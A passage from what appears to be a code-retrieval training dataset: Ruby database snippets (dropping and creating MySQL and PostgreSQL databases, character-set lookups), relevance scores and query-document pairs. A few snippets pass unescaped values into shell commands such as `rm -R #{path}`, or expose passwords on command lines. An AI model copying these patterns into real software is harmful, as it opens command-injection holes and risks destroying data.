"def create_physical_databases\n FileUtils.rm_rf File.expand_path('../fixtures/basics/test.db', __FILE__)\n FileUtils.rm_rf File.expand_path('../fixtures/basics/robust.db', __FILE__)\n require 'readline'\n puts \"#################################################################################\"\n puts \"ATTENTION: This task will create physical test databases on your computer\"\n puts \" A password will probably be asked as this task relies on 'sudo'.\"\n puts \" Please provide the root password\"\n puts \"#################################################################################\"\n Readline.readline(\"Press enter to start\")\n puts \"Creating the physical postgresql database ...\"\n puts `sudo su postgres -c 'dropdb dbagile_test'`\n puts `sudo su postgres -c 'dropuser dbagile'`\n puts `sudo su postgres -c 'createuser --no-superuser --no-createrole --createdb dbagile'`\n puts `sudo su postgres -c 'createdb --encoding=utf8 --owner=dbagile dbagile_test'`\n puts \n puts \"#################################################################################\"\n puts \"Done.\"\n puts \"Please run 'rake fixtures'\"\n puts \"#################################################################################\"\n true\n end",
"def database_name\n \"mysql_inspector_test\"\n end",
"def db\n @db ||= find_or_create_database\n end",
"def CreateNewDatabaseClicked\n unless getDBConn\n msgbox(_(\"Warning\"), _(\"Please open a database-profile first.\"), \"warning\")\n return false\n end\n\n type = getDBConn.getType\n if type != \"mysql\" && type != \"pgsql\"\n msgbox(_(\"Warning\"), sprintf(_(\"You cant create databases.new of af the current dbtype: %s.\"), type), \"warning\")\n return false\n end\n\n name = knj_input(_(\"New database name\"), _(\"Please enter the name of the database.new-type:\"))\n return false if name == false\n\n # Create and choose the database.new.\n begin\n getDBConn.dbs.createDB(\"name\" => name)\n db = getDBConn.dbs.getDB(name)\n getDBConn.dbs.chooseDB(db)\n dbpage.tablesUpdate\n rescue => e\n msgbox(_(\"Warning\"), e.getMessage, \"warning\")\n return false\n end\n end",
"def db_setup\n log_debug\n db_file = find_db\n db_tmp = '/tmp/plex_missing_tmp.db'\n @db = ''\n \n # cp to tmp as the db is locked if being used\n `cp \"#{db_file}\" #{db_tmp}`\n \n # not too sure why but i was having a problem where a 0 byte file was cp'd\n # def a local issue i assume but the check was needed\n if test ?s, db_tmp\n @db = SQLite3::Database.new db_tmp\n else \n puts \"error-> can not open #{db_tmp} for reasing\"\n exit 2\n end\n end",
"def drop_and_create_schema_migrations_table\n sql = [\n \"USE #{@database}\",\n 'DROP TABLE IF EXISTS schema_migrations',\n 'CREATE TABLE schema_migrations ( version varchar(255) COLLATE utf8_unicode_ci NOT NULL, UNIQUE KEY unique_schema_migrations (version)) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci'\n ]\n\n run_commands(sql)\n end",
"def database(options = nil)\n unless options.nil?\n @database = options\n ::DataMapper.setup(:default, @database)\n end\n @database\n end"
] |
[
"0.77200854",
"0.7396388",
"0.73807687",
"0.7378632",
"0.7084339",
"0.70706314",
"0.69256747",
"0.69132864",
"0.68258864",
"0.67257595",
"0.67029697",
"0.6700407",
"0.6666678",
"0.66479194",
"0.645953",
"0.6403143",
"0.6230088",
"0.6229342",
"0.6154013",
"0.5953857",
"0.5938839",
"0.5920802",
"0.59136707",
"0.5808765",
"0.5792858",
"0.57877",
"0.5776303",
"0.5721737",
"0.56950694",
"0.5644393",
"0.56314486",
"0.55897945",
"0.5572669",
"0.55625653",
"0.55515635",
"0.5538704",
"0.5522085",
"0.54953796",
"0.54538393",
"0.5442237",
"0.5421079",
"0.54107755",
"0.5402132",
"0.5367015",
"0.5358134",
"0.53394645",
"0.533306",
"0.52955884",
"0.52710813",
"0.5251732",
"0.52470124",
"0.52462995",
"0.52400625",
"0.52286446",
"0.52194643",
"0.5210151",
"0.5183974",
"0.5182172",
"0.5171628",
"0.5170167",
"0.5170096",
"0.51531607",
"0.51519215",
"0.51315486",
"0.51291525",
"0.5118694",
"0.5108986",
"0.5105061",
"0.50935626",
"0.5091986",
"0.5085896",
"0.5083534",
"0.50781745",
"0.5058901",
"0.5053024",
"0.50506806",
"0.5020904",
"0.5011241",
"0.5005874",
"0.50021756",
"0.49942744",
"0.49854335",
"0.4969551",
"0.49643865",
"0.49476197",
"0.4943467",
"0.4929144",
"0.49290028",
"0.49208057",
"0.4904934",
"0.4904652",
"0.4900498",
"0.48984265",
"0.48945424",
"0.4879152",
"0.48759955",
"0.48664626",
"0.48649588",
"0.4862462",
"0.4853276"
] |
0.79103875
|
0
|
Drops a MySQL database. Example: drop_database('sebastian_development')
|
def drop_database(name) # :nodoc:
execute "DROP DATABASE IF EXISTS #{quote_table_name(name)}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def drop_mysql_database\n MysqlUtils.drop_mysql_database(database_name)\n end",
"def drop_database\n puts \"Droping database #{@db_name}...\"\n begin\n client = Mysql2::Client.new(:host => @db_host, :username => @db_user, :password => @db_pass)\n client.query(\"DROP DATABASE IF EXISTS #{@db_name}\")\n client.close\n rescue Exception => e\n puts \"An error occurred\\n #{e}\"\n end\n end",
"def drop_database(name)\n single_db_command(name, :dropDatabase => 1)\n end",
"def drop_database(name)\n execute \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n end",
"def drop_database(name) #:nodoc:\n execute \"DROP DATABASE #{quote_table_name(name)}\"\n end",
"def drop_database(name) #:nodoc:\n execute \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n end",
"def drop_database(name)\n execute \"DROP DATABASE IF EXISTS #{name}\" \n end",
"def drop_database(db_name)\n check_return_code(PureHailDB.ib_database_drop(db_name))\n end",
"def delete_database(connection_string, db_name)\n drop_sql = <<-SQL\n DROP DATABASE #{db_name};\n SQL\n\n run \"#{connection_string} --execute=\\\"#{drop_sql}\\\"\"\nend",
"def db_destroy_mysql(*args)\n\n\t\t\tcmd_db_disconnect()\n\n\t\t\treturn if ! db_find_tools(%W{mysqladmin})\n\n\t\t\tinfo = db_parse_db_uri_mysql(args[0])\n\t\t\targv = []\n\n\t\t\tif (info[:user])\n\t\t\t\targv.push('-u')\n\t\t\t\targv.push(info[:user])\n\t\t\tend\n\n\t\t\tif (info[:pass])\n\t\t\t\targv.push('--password=' + info[:pass])\n\t\t\tend\n\n\t\t\tif (info[:host])\n\t\t\t\targv.push('-h')\n\t\t\t\targv.push(info[:host])\n\t\t\tend\n\n\t\t\tif (info[:port])\n\t\t\t\targv.push('-P')\n\t\t\t\targv.push(info[:port])\n\t\t\tend\n\n\t\t\targv.push(\"-f\")\n\n\t\t\tcargs = argv.map{|c| \"'#{c}' \"}.join\n\t\t\tsystem(\"mysqladmin -f #{cargs} drop #{info[:name]}\")\n\t\tend",
"def destroy_db(options)\n info \"Dropped database '#{options[:name]}'\"\n end",
"def drop(database = \"\", user=\"\", password=\"\")\n if (user.empty?)\n user = @user\n end\n if (password.empty?)\n password = @password\n end\n if (database.empty?)\n database = @database\n end\n check_params(user,password,database)\n\n cmd = \"mysql --user=#{user} --password=#{password} -e 'drop database #{database};' #{database}\"\n # puts \"cmd = \" + cmd\n system cmd\n end",
"def destroy_database(name)\n database = ::MySQL::Database.find_by_name(name)\n return false if database.nil?\n !!database.destroy\n end",
"def shutdown\n drop_database\n end",
"def drop_database_sql(name, opts = {})\n \"DROP DATABASE #{quote_identifier(name)}\"\n end",
"def drop(environment: :development)\n db = config(environment: environment).fetch(\"database\")\n File.delete(db) if File.exist?(db)\n end",
"def db_destroy_postgresql(*args)\n\n\t\t\tcmd_db_disconnect()\n\n\t\t\treturn if ! db_find_tools(%W{dropdb})\n\n\t\t\tinfo = db_parse_db_uri_postgresql(args[0])\n\t\t\targv = []\n\n\t\t\tif (info[:user])\n\t\t\t\targv.push('-U')\n\t\t\t\targv.push(info[:user])\n\t\t\tend\n\n\t\t\tif (info[:pass])\n\t\t\t\tprint()\n\t\t\t\tprint_status(\"Warning: You will need to enter the password at the prompts below\")\n\t\t\t\tprint()\n\t\t\t\targv.push('-W')\n\t\t\tend\n\n\t\t\tif (info[:host])\n\t\t\t\targv.push('-h')\n\t\t\t\targv.push(info[:host])\n\t\t\tend\n\n\t\t\tif (info[:port])\n\t\t\t\targv.push('-p')\n\t\t\t\targv.push(info[:port])\n\t\t\tend\n\n\t\t\tcargs = argv.map{|c| \"'#{c}' \"}.join\n\t\t\tsystem(\"dropdb #{cargs} #{info[:name]}\")\n\t\tend",
"def drop_test_database!\n raise \"not a test database!!! database name must end in `_test`\" unless @database =~ /_test$/\n connection.drop_database(@database)\n end",
"def drop_database\n options = { database: Orientdb::ORM.connection_uri.database, user: Orientdb::ORM.connection_uri.user, password: Orientdb::ORM.connection_uri.password }\n Orientdb::ORM.with { |conn| conn.client.delete_database( options ) }\nend",
"def delete_database\n FileUtils.rm_rf(@db_dir)\n end",
"def drop_db( path_names )\n path_name_tokens = path_names.split( \"|\" )\n zone = path_name_tokens[1]\n connect_for( zone ) do |con|\n db_name = path_name_tokens.pop\n con.drop_database( db_name )\n end\n end",
"def drop\n ensure_service!\n service.drop_database instance_id, database_id\n true\n end",
"def drop\n ensure_service!\n service.drop_database instance_id, database_id\n true\n end",
"def delete_database(database_name)\n @glue_client.delete_database(name: database_name)\n rescue Aws::Glue::Errors::ServiceError => e\n @logger.error(\"Glue could not delete database: \\n#{e.message}\")\n end",
"def drop_db\n Mongoid.purge!\n end",
"def destroy_database_directory\n FileUtils.remove_dir(database_directory)\n end",
"def destroy!\n drop_ddl = tables.map(&:name).map do |t|\n \"drop table if exists #{t};\\n\"\n end.join\n ActiveRecord::Base.connection.execute(drop_ddl)\n end",
"def to_drop_database_sql(db)\n db.send(:drop_database_sql, self.name, {})\n end",
"def drop(db)\n\tif $table_exists\n\t\tdb.execute(\"DROP TABLE items;\")\n\t\t$table_exists = false\n\t\tputs \"\\nTable successfully deleted.\"\n\telse\n\t\tputs \"\\nTable successfully deleted.\"\n\tend\nend",
"def drop_schema(name, opts = {})\n execute_ddl(drop_schema_sql(name, opts))\n end",
"def drop_and_create_schema_migrations_table\n sql = [\n \"USE #{@database}\",\n 'DROP TABLE IF EXISTS schema_migrations',\n 'CREATE TABLE schema_migrations ( version varchar(255) COLLATE utf8_unicode_ci NOT NULL, UNIQUE KEY unique_schema_migrations (version)) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci'\n ]\n\n run_commands(sql)\n end",
"def drop_tables!\n migrate(:down)\n end",
"def delete_database\n options = {\n :query => {\n 'ZOHO_ACTION' => 'DELETEDATABASE',\n 'ZOHO_DATABASE_NAME' => database_name,\n }\n }\n send_request get_user_uri, 'post', options\n end",
"def drop!(db, colls = nil)\n db.in_transaction do |conn|\n schema_tables(conn).each do |table|\n conn.exec \"DROP TABLE IF EXISTS #{table}\"\n end\n end\n end",
"def remove_database\n FileUtils.rm_rf(path) if File.exist? File.join(path, \"iamflint\")\n @database = nil\n @writable_database = nil\n end",
"def uninstall\n if installed?\n destroy_database_directory\n destroy_database_configuration_file\n end\n end",
"def db_destroy_sqlite3(*args)\n\t\t\tcmd_db_disconnect()\n\t\t\tinfo = db_parse_db_uri_sqlite3(args[0])\n\t\t\tbegin\n\t\t\t\tprint_status(\"Deleting #{info[:path]}...\")\n\t\t\t\tFile.unlink(info[:path])\n\t\t\trescue Errno::ENOENT\n\t\t\t\tprint_error(\"The specified database does not exist\")\n\t\t\tend\n\t\tend",
"def remove_database\n FileUtils.rm_rf(path) if File.exist? File.join(path, \"record.DB\")\n @database = nil\n @writable_database = nil\n end",
"def drop\n @db.drop_collection(@name)\n end",
"def drop_table(name)\n not_exist(name)\n\n ORM::DBConnection.new(model_name(name)).remove_table(name)\n File.delete(\"app/services/db/tables/#{name}.json\")\n end",
"def drop_schema(schema_name)\n execute(\"DROP SCHEMA \\\"#{schema_name}\\\"\")\n end",
"def drop_schema_sql(name, opts = {})\n \"DROP SCHEMA #{quote_identifier(name)}\"\n end",
"def drop_table\n db.drop_table(table_name)\n end",
"def destroy_instance_database\n instance_database.delete!\n end",
"def destroy_instance_database\n instance_database.delete!\n end",
"def drop_schema schema_name\n execute \"DROP SCHEMA #{schema_name} CASCADE\"\n end",
"def drop_schema(name, opts=OPTS)\n self << drop_schema_sql(name, opts)\n end",
"def drop\n database.command(:drop => name)\n rescue Error::OperationFailure => ex\n raise ex unless ex.message =~ /ns not found/\n false\n end",
"def drop_schema_sql(name, opts=OPTS)\n \"DROP SCHEMA#{' IF EXISTS' if opts[:if_exists]} #{quote_identifier(name)}#{' CASCADE' if opts[:cascade]}\"\n end",
"def drop\n @db.drop_collection(@name)\n end",
"def destroy\n DATABASE.destroy(self)\n end",
"def disconnect_db\n ActiveRecord::Base.connection_handler.clear_active_connections!\n ActiveRecord::Base.connection.disconnect!\n ActiveRecord::Base.connection.close\n log(\"Disconnected from database\")\nrescue => e\n fatal(\"Failed to disconnect from the database: #{e}\")\n exit\nend",
"def uninstall!(database)\n drop_extension(database)\n make_uninstall(database)\n end",
"def teardown_test_db\n ActiveRecord::Base.connection.tables.each do |t|\n ActiveRecord::Base.connection.drop_table(t)\n end\nend",
"def clear_db\n @@db.clear_db\n end",
"def destroy\n @database = Database.find(params[:id])\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to(databases_url) }\n end\n end",
"def destroy\n @database = Database.find(params[:id])\n path = @database.path\n delete = %x[rm -R #{path}]\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end",
"def drop_table_sql(name)\n \"DROP TABLE #{quote_schema_table(name)}\"\n end",
"def disconnect\n database.close if connected?\n @@connections[name][db_name] = nil\n end",
"def drop_table_sql(name)\n \"DROP TABLE #{quote_schema_table(name)}\"\n end",
"def delete_database(table_name)\n table_details = get_table_details(table_name)\n if table_details.nil?\n puts 'Table did not exist. Nothing to delete.'\n else\n wait_until_table_available(table_name) if table_details.table_status != 'ACTIVE'\n @client.delete_table(table_name: table_name)\n end\n end",
"def down\n \t# Example\n \t# Easy to undo something you create, but this doesn't work\n \t# because it is hard to fix mistakes.\n \t# drop_table :pictures\n end",
"def drop_movies_table\n c = connect\n c.exec \"DROP TABLE IF EXISTS movies;\" \n c.close\nend",
"def drop_schema_sql(name, opts = {})\n \"DROP SCHEMA #{quote_identifier(name)} CASCADE\"\n end",
"def drop_schema(schema_name, options = {})\n execute \"DROP SCHEMA#{' IF EXISTS' if options[:if_exists]} #{quote_schema_name(schema_name)} CASCADE\"\n end",
"def truncate_db\n drop_table\n create_table\n end",
"def cleardb\n url = app_config_vars[\"CLEARDB_DATABASE_URL\"]\n name = \"ClearDB MySQL\"\n open_mysql(name, url)\n end",
"def delete_table\n table_name = self.to_s.pluralize.underscore\n DATABASE.execute(\"DROP TABLE #{table_name}\")\n end",
"def recreate_database(name, options = {}) #:nodoc:\n drop_database(name)\n create_database(name, options)\n end",
"def drop_table(*names)\n options = names.last.is_a?(Hash) ? names.pop : OPTS \n names.each do |n|\n execute_ddl(drop_table_sql(n, options))\n remove_cached_schema(n)\n end\n nil\n end",
"def dropUserTable\n @conn.exec(\"DROPE users\")\n end",
"def drop_table\n self.connection.drop_table table_name\n end",
"def db_deleter(database, id)\n database.execute(\"DELETE FROM wine_cellar where id=#{id}\")\nend",
"def down\n execute <<-SQL\n DROP TABLE event_registrations;\n SQL\n\n execute <<-SQL\n DROP TABLE members;\n SQL\n\n execute <<-SQL\n DROP TABLE events;\n SQL\n\n execute <<-SQL\n DROP TABLE treatment_logs;\n SQL\n\n execute <<-SQL\n DROP TABLE feeding_logs;\n SQL\n\n execute <<-SQL\n DROP TABLE employees;\n SQL\n\n execute <<-SQL\n DROP TABLE animals;\n SQL\n\n execute <<-SQL\n DROP TABLE tanks;\n SQL\n\n execute <<-SQL\n DROP TABLE habitats;\n SQL\n end",
"def drop_movies_table\n c = PGconn.new(:host => \"localhost\", :dbname => \"testdb\")\n c.exec \"DROP TABLE products;\"\n c.close\nend",
"def drop\n\t\tActiveRecord::Base.connection.execute \"SET AUTOCOMMIT=0\"\n\t\tActiveRecord::Base.connection.execute \"SET FOREIGN_KEY_CHECKS=0\"\n\n self.change_schema_to 'information_schema';\n @result[:deleted] = []\n \n if request[:remove_all]\n #remove all tables\n @tables = ActiveRecord::Base.connection.select_all \"select TABLE_NAME table_name from `TABLES` where `TABLE_SCHEMA`='#{request[:db_name]}'\"\n self.change_schema_to request[:db_name];\n \n @tables.each do |table|\n ActiveRecord::Base.connection.execute \"drop table `#{table[\"table_name\"]}`\"\n @result[:deleted].push table[\"table_name\"];\n end\n else\n self.change_schema_to request[:db_name];\n ActiveRecord::Base.connection.execute \"drop table `#{request[:key]}`\";\n @result[:deleted].push request[:key];\n end\n \n self.change_schema_to 'information_schema';\n @result[:type] = 'table'\n render json: @result\n end",
"def db_remove!( db_file )\n ####db = SQLite3::Database.new( db_file )\n ####db.execute( db_remove )\n ####db.close \n puts \"SQLite3\"\n end",
"def setup\n setup_test_database\n drop_and_create_schema_migrations_table\n end",
"def destroy\n @database.destroy\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end",
"def recreate_database(name, options = {})\n drop_database(name)\n create_database(name, options)\n end",
"def drop_table_sql(name)\n \"DROP TABLE #{quote_identifier(name)}\"\n end",
"def destroy\n @database.destroy\n respond_to do |format|\n format.html { redirect_to databases_url, notice: 'La base de données à bien été supprimée.' }\n format.json { head :no_content }\n end\n end",
"def pull\n check_dependencies('mysqldump', 'mysql', '/bin/sh')\n target = parse_db_location(args.shift || 'development')\n\n display \"This will erase all data in the #{target['database'].inspect} database\" +\n (target['host'].empty? ? '' : \" on #{target['host']}\") + \"!\"\n exit unless dangerous_prompt\n\n copy_db_to_db(database_uri, target)\n end",
"def database_reset\n @database = nil\n end",
"def destroy\n @database = Database.find(params[:id])\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to(databases_url) }\n format.xml { head :ok }\n end\n end",
"def drop_table_statement(repository, model)\n \"DROP TABLE #{quote_table_name(model.storage_name(repository.name))}\"\n end",
"def destroy_database_configuration_file\n FileUtils.rm(database_configuration_file)\n end",
"def drop_sql\n raise NotImplementedError, \"DatabaseSymbol should not be instanciated\"\n end",
"def teardown\n teardown_db\n end",
"def dropUserTable(tableName)\n @conn.exec(\"DROP TABLE #{tableName}\")\n end",
"def drop_table(*names)\n names.each {|n| execute(drop_table_sql(n))}\n end",
"def drop_schema(schema)\n execute \"DROP SCHEMA #{schema} RESTRICT\", 'Drop Schema'\n end",
"def create_database(db_name)\n config = Rails.configuration.database_configuration[Rails.env]\n password = Shellwords.escape(config['password'])\n new_db = \"mysqldump -u#{config['username']} -p#{password} -h#{config['host']} #{config['database']} > /home/rails/current/tmp/backup.sql;\n mysqladmin -u#{config['username']} -p#{password} create #{db_name};\n mysql -u#{config['username']} -p#{password} -h#{config['host']} #{db_name} < /home/rails/current/tmp/backup.sql\"\n system new_db\n end",
"def destroy\n [METADATA_TABLE_NAME, RUN_HISTORY_TABLE_NAME,\n DISABLED_MONITOR_TABLE_NAME, MONITOR_INFO_TABLE_NAME].each do |table|\n @db.execute(\"DROP TABLE IF EXISTS #{table}\")\n end\n\n create()\n end",
"def recreate_database(name, options = {})\n drop_database(name)\n sql = create_database(name, options)\n reconnect!\n sql\n end",
"def clear_all_databases\n excluded_tables = [\"schema_migrations\", \"common_states\", \"common_activities\"]\n connection = ActiveRecord::Base.connection\n table_names = connection.tables.dup\n table_names.delete_if { |table_name| excluded_tables.include?(table_name) }\n \n table_names.each do |table_name|\n sql_command = \"DELETE FROM #{table_name};\"\n connection.execute sql_command\n end\nend",
"def drop_older_db(table, end_time)\n query = drop_older(table, end_time)\n if !@dry_run\n conn = connection\n conn.query query\n @deletes += conn.affected_rows\n @delete_qs += 1\n else\n verbose query\n end\n end",
"def delete_table(db)\n\tputs ('Are you sure you want to wipe the table? (y/n)')\n\tif gets.chomp == 'y'\n\t\tdb.execute(\"DELETE FROM todo\")\n\t\tdb.execute(\"DELETE FROM log\") \n\tend\nend",
"def clear_db\n\t\tdb = SQLite3::Database.open \"simpl.db\"\n\t\tdb.execute \"DELETE FROM user;\"\n\t\tdb.execute \"DELETE FROM merchant;\"\n\t\tdb.execute \"DELETE FROM transactions;\"\n\tend",
"def clear_db\n\t\tdb = SQLite3::Database.open \"simpl.db\"\n\t\tdb.execute \"DELETE FROM user;\"\n\t\tdb.execute \"DELETE FROM merchant;\"\n\t\tdb.execute \"DELETE FROM transactions;\"\n\tend"
] |
[
"0.8537386",
"0.82828987",
"0.81969196",
"0.8188192",
"0.81238467",
"0.810776",
"0.8095662",
"0.79066145",
"0.78262025",
"0.77501255",
"0.7709589",
"0.75526017",
"0.75269306",
"0.743703",
"0.74115217",
"0.72846717",
"0.72797894",
"0.7238348",
"0.716385",
"0.71583617",
"0.7113172",
"0.70474416",
"0.70474416",
"0.6754075",
"0.66080177",
"0.6600412",
"0.6599241",
"0.6503278",
"0.64809734",
"0.6474388",
"0.6457807",
"0.6454043",
"0.64377064",
"0.64144486",
"0.6396818",
"0.6354293",
"0.632148",
"0.6255526",
"0.6202024",
"0.61819905",
"0.61483306",
"0.61401117",
"0.61378616",
"0.6102688",
"0.6102688",
"0.60662615",
"0.605439",
"0.6040578",
"0.6037031",
"0.6030789",
"0.60099494",
"0.60013956",
"0.5985377",
"0.5932628",
"0.5907931",
"0.58924574",
"0.5891318",
"0.5883717",
"0.588013",
"0.5876447",
"0.58756405",
"0.587321",
"0.58683133",
"0.58604693",
"0.5848925",
"0.5847953",
"0.584394",
"0.58386934",
"0.58338535",
"0.58166754",
"0.5804234",
"0.57924527",
"0.5787131",
"0.57727253",
"0.5772377",
"0.57706106",
"0.5770487",
"0.5739227",
"0.5714571",
"0.57072276",
"0.56867945",
"0.5684886",
"0.567949",
"0.56786263",
"0.56749445",
"0.56566805",
"0.5652462",
"0.56454325",
"0.56328225",
"0.5623935",
"0.56153095",
"0.56043845",
"0.55810565",
"0.557573",
"0.5573401",
"0.5561905",
"0.5561544",
"0.5558242",
"0.5535456",
"0.5535456"
] |
0.8096367
|
6
|
Returns the database character set.
|
def charset
show_variable "character_set_database"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def character_set_name\n @dbi.character_set_name\n end",
"def character_set_name\n @dbi.character_set_name\n end",
"def character_set\n @character_set ||= show_variable('character_set_connection') || 'utf8'\n end",
"def character_set_name\n @charset.name\n end",
"def character_set_name\n data[:character_set_name]\n end",
"def character_set_name\n data[:character_set_name]\n end",
"def _character_set(id)\n Unxls::Biff8::Constants::CHARSETS[id]\n end",
"def charset\n @@charset\n end",
"def encoding\n select_value(\n \"SELECT pg_encoding_to_char(pg_database.encoding)\" <<\n \" FROM pg_database\" <<\n \" WHERE pg_database.datname LIKE '#{current_database}'\",\n 'SCHEMA')\n end",
"def encoding\n select_value(\"SELECT pg_encoding_to_char(encoding) FROM pg_database WHERE datname LIKE '#{current_database}'\", 'SCHEMA')\n end",
"def charset\n # locale parameter is ignored now.\n system.charset\n end",
"def collation\n show_variable \"collation_database\"\n end",
"def character_set(options={})\n groups = self.dup\n .force_encoding('ascii-8bit')\n .split(//) # Split into individual characters\n .map {|ch| (options[:case_insensitive] ? downcase(ch) : ch).ord } # Convert to ASCII codes\n .inject([]) {|ary, n| ary[n] = n; ary } # Convert to a membership array (ary[i]=i iff i is in string)\n .chunk {|n| n.nil? ? nil : n.chr.character_type(flag_dashes: true) } # The clever bit: chunk removes chunks labelled nil\n .to_a\n contains_dash = false\n if options[:single_as_string] || (groups.size==1 && groups.first.size==1)\n char = groups.first[1].first.chr\n encoding = char.printable\n else\n encoding = groups.map {|typ, group| [typ, group.map{|n| n.chr}.join]}\n .map {|typ, group| \n case typ\n when :other\n group.set_escaped\n when :dash\n contains_dash = true\n next\n else\n group.size > 1 ? group.minimal_set_encoding : group.set_escaped\n end\n }\n .compact\n .join\n encoding = '-' + encoding if contains_dash\n delimiters = (options[:delimiters]||'[]').make_delimiters\n encoding = \"#{delimiters[0]}#{encoding}#{delimiters[1]}\"\n end\n encoding\n end",
"def charset\n #@data.charset ||= CharGuess.guess(document).downcase\n end",
"def nchar_character_set_name\n data[:nchar_character_set_name]\n end",
"def charset\n metadata[:charset]\n end",
"def get_charset(locale)\n locale.charset || @@default_locale.charset\n end",
"def charset\n 'UTF8'\n end",
"def charset\n @j_del.charset().toString()\n end",
"def charset\n 'utf-8'\n end",
"def collation\n select_value(\n \"SELECT pg_database.datcollate\" <<\n \" FROM pg_database\" <<\n \" WHERE pg_database.datname LIKE '#{current_database}'\",\n 'SCHEMA')\n end",
"def collation\n return @collation\n end",
"def collation\n @collation ||= show_variable('collation_connection') || 'utf8_general_ci'\n end",
"def charset; end",
"def charset; end",
"def charset; end",
"def encoding\n if @connection.respond_to?(:encoding)\n @connection.encoding.to_s\n else\n @connection.execute('PRAGMA encoding')[0]['encoding']\n end\n end",
"def encoding_for_ruby\n @database_encoding ||= case ActiveRecord::Base.connection.encoding\n when 'UTF8'\n 'UTF-8'\n else\n ActiveRecord::Base.connection.encoding\n end\n end",
"def get_charset(locale)\n loc = LocaleTable.find{|v| v[1] == locale.to_win}\n loc = LocaleTable.find{|v| v[1] =~ /^#{locale.language}-/} unless loc\n loc ? loc[2] : \"CP1252\"\n end",
"def get_char_set(content_type)\n char_set = content_type.match(/charset\\s*=\\W*([\\w\\-]+)/)\n char_set ? boundary[1] : nil\n end",
"def collation\n nil\n end",
"def charset\n @charset ||= (charset_from_meta_charset || charset_from_content_type)\n end",
"def get_encoding()\n puts @csv_encoding\n end",
"def charset\n @charset ||= (charset_from_meta_charset || charset_from_meta_content_type)\n end",
"def encoding\n\t'ISO-8859-1'\nend",
"def collation\n 'ucs_binary'\n end",
"def default_encoding\n Encoding::UTF_8\n end",
"def default_encoding; end",
"def default_encoding; end",
"def charset=(_); end",
"def dictionary\n character_set = {}\n text_file.each{|x| character_set[x[0]] = (x[3..4].to_i)}\n character_set\n end",
"def passcode_minimum_character_set_count\n return @passcode_minimum_character_set_count\n end",
"def ctype\n select_value(\n \"SELECT pg_database.datctype FROM pg_database WHERE pg_database.datname LIKE '#{current_database}'\",\n 'SCHEMA')\n end",
"def password_minimum_character_set_count\n return @password_minimum_character_set_count\n end",
"def encoding\n @encoding ||= Encoding.const_get(\n Hunspell.Hunspell_get_dic_encoding(self).gsub('-','_')\n )\n end",
"def configure_charsets\n content_type = headers[\"Content-Type\"] || 'text/html'\n if /^text\\//.match(content_type)\n headers[\"Content-Type\"] = \"#{content_type}; charset=utf-8\" \n end\n ActiveRecord::Base.connection.execute 'SET NAMES UTF8'\n end",
"def current_schemata\n extension :pg_array\n metadata_dataset.select(Sequel::function(:current_schemas, false).\n cast('varchar[]')).single_value.map(&:to_sym)\n end",
"def charset=(charset); end",
"def configure_charsets \n\theaders[\"Content-Type\"] = \"text/html; charset=utf-8\" \n\tsuppress(ActiveRecord::StatementInvalid) do \n\t ActiveRecord::Base.connection.execute 'SET NAMES UTF8' \n\tend\n end",
"def charset=(_arg0); end",
"def find_enoding\n scmdlog = `file -I #{@file_name}`.strip\n scmdlog[/charset=(.+?)$/, 1]\n end",
"def charset\n if @header\n has_content_type? ? content_type_parameters['charset'] : @charset\n else\n @charset\n end\n end",
"def encoding\n Encoding::UTF_8\n end",
"def encoding\n Encoding::UTF_8\n end",
"def database_flags\n settings[:database_flags]\n end",
"def charset\n @charset ||= message.charset.upcase\n end",
"def encoding\n @connection.encoding.to_s\n end",
"def database\n @@db\n end",
"def database_names\n database_info.keys\n end",
"def current_database #:nodoc:\n select_one(\"select sys_context('userenv','db_name') db from dual\")[\"db\"]\n end",
"def encoding\n @attributes[:encoding]\n end",
"def database_names\n database_info.keys\n end",
"def charset\n match_data = headers['Content-Type']&.match(/charset=(.*);?/)\n return unless match_data\n\n Encoding.find(match_data[1])\n end",
"def collation_enabled?\n $collation_enabled ||= scanned_client_server!.features.collation_enabled?\nend",
"def encodings; end",
"def db_symbol\n return data.db_symbol\n end",
"def all_database_names\n @specs_store.names\n end",
"def get_charset_name(charset)\n charset.downcase.gsub(/[^0-9a-z]/, \"\")\n end",
"def get_charset(text)\n charset_str = 'charset='\n ind = text.index(charset_str); p \"find charset=\" + ind.to_s\n if ind.nil?; return 'iso-8859-1'; end\n start = ind + charset_str.length#; p start.to_s\n ind2 = text.index('\"', start)#; p ind2.to_s\n if ind2 == start #start with \"\n ind3 = text.index('\"', start+1);\n return text[(ind2+1)...ind3]\n else\n return text[start...ind2]\n end\n end",
"def found_encoding; end",
"def found_encoding; end",
"def letter_table\n $game_system.japanese? ? LETTER_TABLE_FULL : LETTER_TABLE_HALF\n end",
"def force_default_encoding; end",
"def charset=(cs)\n charset = cs.is_a?(Charset) ? cs : Charset.by_name(cs)\n query \"SET NAMES #{charset.name}\" if @protocol\n @charset = charset\n cs\n end",
"def sql_modes; end",
"def database\n @database\n end",
"def database\n @database\n end",
"def utf8_locale\n if params[:lang]\n cookies[:lang] = params[:lang]\n elsif cookies[:lang]\n params[:lang] = cookies[:lang]\n end\n I18n.locale = params[:lang]\n # TODO remove blood with Dean\n Dean.columns\n end",
"def encoding()\n #This is a stub, used for indexing\n end",
"def meta_encoding; end",
"def meta_encoding; end",
"def mobile_encoding\n\t'ISO-8859-1'\nend",
"def db\n @db == true ? TABLE : @db.try(:parameterize, separator: \"_\")\n end",
"def all_commit_characters\n attributes.fetch(:allCommitCharacters)\n end",
"def charset\n names = []\n 26.times do |i|\n names << (65 + i).chr\n end\n names\nend",
"def current_database\n select_value('select current_database()', 'SCHEMA')\n end",
"def enc_col\r\n if !@enc_col\r\n self.conn_exec do |driver|\r\n @enc_col = driver.escape_col\r\n end\r\n end\r\n \r\n return @enc_col\r\n end",
"def database_setting\n VirtualMemory.load(:session, :database_setting, :YAML)[:html]\n end",
